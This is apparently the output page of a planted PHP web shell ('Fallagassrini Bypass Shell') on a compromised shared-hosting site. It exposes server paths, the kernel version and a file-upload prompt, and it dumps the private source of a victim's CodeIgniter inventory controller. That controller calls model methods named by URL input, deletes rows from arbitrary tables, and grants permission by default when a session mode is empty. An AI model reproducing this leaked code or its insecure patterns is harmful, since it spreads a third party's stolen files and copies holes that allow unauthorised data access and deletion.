? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eduplus1/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eduplus1/application/controllers/inventory.php

<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Inventory extends MY_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('mastermodel');
        $this->load->model('inventorymodel');
        $this->load->model('accountingmodel');
        $this->load->model('studentmodel');
    }

    function get_post_values() {
        $data = array();
        foreach ($_POST as $key => $value) {
            if ($key != "submit") {
                $data[$key] = $this->input->post($key);
            }
        }
        return $data;
    }

    function viewininventorysearch($modelfunction, $page, $pagenum) {
        $output = $this->inventorymodel->$modelfunction($pagenum);
        $data['viewinfo'] = $output['results'];
        $_SESSION['res_function'] = $modelfunction;
        $this->load->view('inventory/' . $page . '', $data);
    }

    function addformdisplay($page, $directory, $return_page = '') {
        $data = array();
        $data['return_page'] = $return_page;
        $perm = $this->inventorymodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 1);
        if (!$perm) {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        } else {
            $this->load->view('' . $directory . '/' . $page . '', $data);
        }
    }

    function addininventory($modelfunction, $page) {
        $data = array();
        $postdata = $this->get_post_values();
        $data = $this->inventorymodel->$modelfunction($postdata);
        $this->viewininventorysearch($data['resfunction'], $page, $_SESSION['pagenum']);
        $this->load->view('message', $data);
    }

    function deletedata($table, $id, $field) {
        $data = array();
        $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 3);
        if (!$perm)
            $data['msg'] = "Permission Denied";
        else
            $data = $this->mastermodel->deletedata($table, $id, $field);
        $arr = array('msg' => $data['msg'], 'res' => $data['res']);
        echo json_encode($arr);
    }

    function edit_page($id, $table, $field, $page) {
        if ($_SESSION['current_mode'] != "") {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        } else {
            $perm = 1;
        }

        if (!$perm) {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        } else {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['id'] = $id;
            $this->load->view('inventory/' . $page, $data);
        }
    }

    function edit_inventory($id, $table, $field, $page) {
        if ($_SESSION['current_mode'] != "") {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        } else {
            $perm = 1;
        }

        if (!$perm) {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        } else {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['contact'] = $this->mastermodel->get_data('inventory_contact', $id, 'inventory_id');
            $data['cours'] = $this->mastermodel->get_data('inventory_course', $id, 'inventory_id');
            $data['id'] = $id;
            $this->load->view('inventory/' . $page, $data);
        }
    }

    function single_page($id, $table, $field, $page) {
        if ($_SESSION['current_mode'] != "") {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 0);
        } else {
            $perm = 1;
        }

        if (!$perm) {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        } else {
            $data['viewinfo'] = $this->mastermodel->get_data_srow($table, $id, $field);
            $data['id'] = $id;
            $this->load->view('inventory/' . $page, $data);
        }
    }

    function check_qty($inventory_type) {
        echo $this->inventorymodel->check_qty($inventory_type);
    }

    function load_inventory_student_details($batch_id,$inventory_type,$page) {
        $data = array();
        $batch = $this->mastermodel->get_data_srow('batch', $batch_id, 'batch_id');
        $course_id = $batch->course_id;
        $student = $this->studentmodel->get_batch_student_details($batch_id, $course_id);
        $inventory_alloted_details=$this->inventorymodel->inventory_alloted_details(0);
        $data['inventodry_alloted']=$inventory_alloted_details['inventodry_alloted'];
        $data['cancelled_student']=$this->studentmodel->get_cancelled_student($batch_id);
        $data['deactivate_student']=$this->studentmodel->get_deactivate_student($batch_id); 
        $data['batch'] = $batch_id;
        $data['students'] = $student;
        $data['inventory_type']=$inventory_type;        
        $this->load->view('inventory/' . $page, $data);
    }
    function edit_sale($id, $table, $field, $page) {
        if ($_SESSION['current_mode'] != "") {
            $perm = $this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'], 2);
        } else {
            $perm = 1;
        }

        if (!$perm) {
            $data['msg'] = "Permission Denied";
            $this->load->view('message', $data);
        } else {
            
            $data['viewinfo'] = $this->mastermodel->get_data_srow_joined('batch', 'course', 'course_id', 'course_id', $id, $field);
            $batch_id = $id;
            $course_id = $data['viewinfo']->course_id;
            $data['students'] = $this->studentmodel->get_batch_student_details($batch_id, $course_id);
            $data['cancelled_student']=$this->studentmodel->get_cancelled_student($batch_id);
            $data['deactivate_student']=$this->studentmodel->get_deactivate_student($batch_id);           
            $inventory_alloted_details=$this->inventorymodel->inventory_alloted_details(0);
            $data['inventodry_alloted']=$inventory_alloted_details['inventodry_alloted'];
            $data['id'] = $id;
            $data['inventory_type']=$this->mastermodel->get_data_joined('inventory', 'course', 'course_id', 'course_id',$course_id,'inventory.course_id');
            $this->load->view('inventory/' . $page, $data);
        }
    }

}

/* End of file master.php */
/* Location: ./application/controllers/master.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net